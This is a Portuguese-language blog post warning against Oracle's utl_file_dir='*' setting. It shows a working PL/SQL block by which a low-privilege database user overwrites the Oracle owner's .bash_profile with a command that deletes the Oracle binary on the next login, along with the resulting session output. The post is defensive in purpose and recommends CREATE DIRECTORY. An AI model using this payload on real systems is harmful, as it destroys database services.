.comment-link {margin-left:.6em;}

Thursday, March 29, 2007

Velhos Vícios

Ainda hoje, beirando o lançamento da versão 11g, sustentamos alguns velhos hábitos mantendo funcionalidades do passado, algumas, além de antigas, perigosas. A natureza humana é resistente a mudança, isso é indiscutível e quase incontestável, porém, quando novas características vêm, é preciso, no mínimo, considerar e mais importante, conhecer! A cada nova release é necessário saber a lista de bugs corrigidos assim como novas funcionalidades, estudá-las, testá-las e classificá-las adequadamente para sua aplicação futura. Até hoje é possível ver banco de dados subindo com pfile ao invés de spfile, por exemplo.

Outro exemplo é o comando de definição CREATE DIRECTORY, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a versão 8i. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro utl_file_dir para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.

Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso, a intenção é mostrar o que um sistema mal configurado e um programador "bem intencionado" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro ult_file_dir, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o .bash_profile é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do .bash_profile do dono do Oracle e na próxima oportunidade de login do mesmo, o .bash_profile executa!
Requisito:

ops$marcio:LX92> show parameter utl_file_dir

NAME TYPE VALUE
------------------------------------ ----------- ------------------------
utl_file_dir string *

Faço o login con o ora92 (dono do meu oracle 9i) e mostro o .bash_profile original.

[ora92@anakin ~]$ cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

ORACLE_SID=lx92
ORACLE_BASE=/oracle
ORACLE_HOME=/oracle/92
PATH=$ORACLE_HOME/bin:$PATH:.
LD_ASSUME_KERNEL=2.4.19
SQLPATH=/oracle/sqladm
export ORACLE_SID ORACLE_BASE ORACLE_HOME PATH LD_ASSUME_KERNEL SQLPATH
Agora, entro com o scott/tiger do prompt do unix mesmo, mas eu poderia usar o sqlplusw do Windows na minha estação ou o sqldeveloper ou até mesmo outro cliente qualquer, não há necessidade de conhecer ou ter o usuário do unix. Uma vez conectado, vou executar um bloco anônimo de 12 linhas apenas, fechar a sessão e esperar a bomba que acontece na próxima conexão de algum DBA que necessite fazer manutenção no banco através da conta "ora92".

[ora92@anakin ~]$ sqlplus scott/tiger

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:45:37 2007

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production

scott:LX92> declare
2 l_output utl_file.file_type;
3 begin
4 l_output := utl_file.fopen('/home/ora92', '.bash_profile', 'w' );
5 utl_file.put_line( l_output, 'rm -f /oracle/92/bin/oracle' );
6 utl_file.put_line( l_output, 'clear' );
7 utl_file.put_line( l_output, 'echo ''Vai usar o sqlplus ? :-) ''' );
8 utl_file.put_line( l_output, 'echo ''Acho que nao!!! :P ''' );
9 utl_file.put_line( l_output, '');
10 utl_file.fclose(l_output);
11 end;
12 /

PL/SQL procedure successfully completed.

scott:LX92> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production
Tudo armado, veja abaixo como está o .bash_profile e cá entre nós, quem se lembra que existe o .bash_profile toda vez que conectamos? Então, um pouco mais abaixo, mostro o telnet e a conexão.

[ora92@anakin ~]$ cat .bash_profile
rm -f /oracle/92/bin/oracle
clear
echo 'Vai usar o sqlplus ? :-) '
echo 'Acho que nao!!! :P '

[ora92@anakin ~]$ telnet anakin.mportes.local
Trying 192.168.0.120...
Connected to anakin.mportes.local (192.168.0.120).
Escape character is '^]'.
Enterprise Linux Enterprise Linux AS release 4 (October Update 4)
Kernel 2.6.9-42.0.0.0.1.ELsmp on an i686
login: ora92
Password:
Last login: Wed Mar 28 21:22:32 from localhost.localdomain

Vai usar o sqlplus ? :-)
Acho que nao!!! :P
-bash-3.00$
-bash-3.00$
Só de ler isso aqui já dá um negócio na barriga não? Feche os olhos e imagine VOCE vivendo uma situação como esta? O shell diferente do que está acostumado, uma mensagem ridícula com caretinhas e... voce se dá conta que algo aconteceu no seu profile (.bash_profile) "Caramba, quem mexeu aqui? Deve ser zueira" - Sim e das grandes! Seguindo, acertamos as variáveis de ambiente e tentamos conectar no banco...

-bash-3.00$ sqlplus "/ as sysdba"
-bash: sqlplus: command not found
-bash-3.00$ . ./bash_profile_backup
[ora92@anakin ~]$
[ora92@anakin ~]$ sqlplus "/ as sysdba"

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:47:26 2007

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


SP2-0157: unable to CONNECT to ORACLE after 3 attempts, exiting SQL*Plus
[ora92@anakin ~]$
Vixi!
Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...

Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro utl_file_dir não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (CREATE DIRECTORY) apontando para o diretório físico no sistema operacional restrito a seu trabalho. No próximo release, tire um tempo para testar e conhecer as new features, ajuda bastante.

Labels:


Comments:
Olá Marcio,
Ótimo Post, parábens.
Só uma pequena dúvida: no caso do banco de dados que eu uso, a utl_file_dir está com um valor em branco, nao com o * da sua explicação...vc sabe o que isso significa?
 
isso significa que nenhum diretório esta listado para o uso do utl_file. Use o CREATE DIRECTORY ao invés do utl_file_dir.
http://download.oracle.com/docs/cd/E11882_01/server.112/e17118/statements_5007.htm#SQLRF01207
 
Post a Comment



<< Home

This page is powered by Blogger. Isn't yours?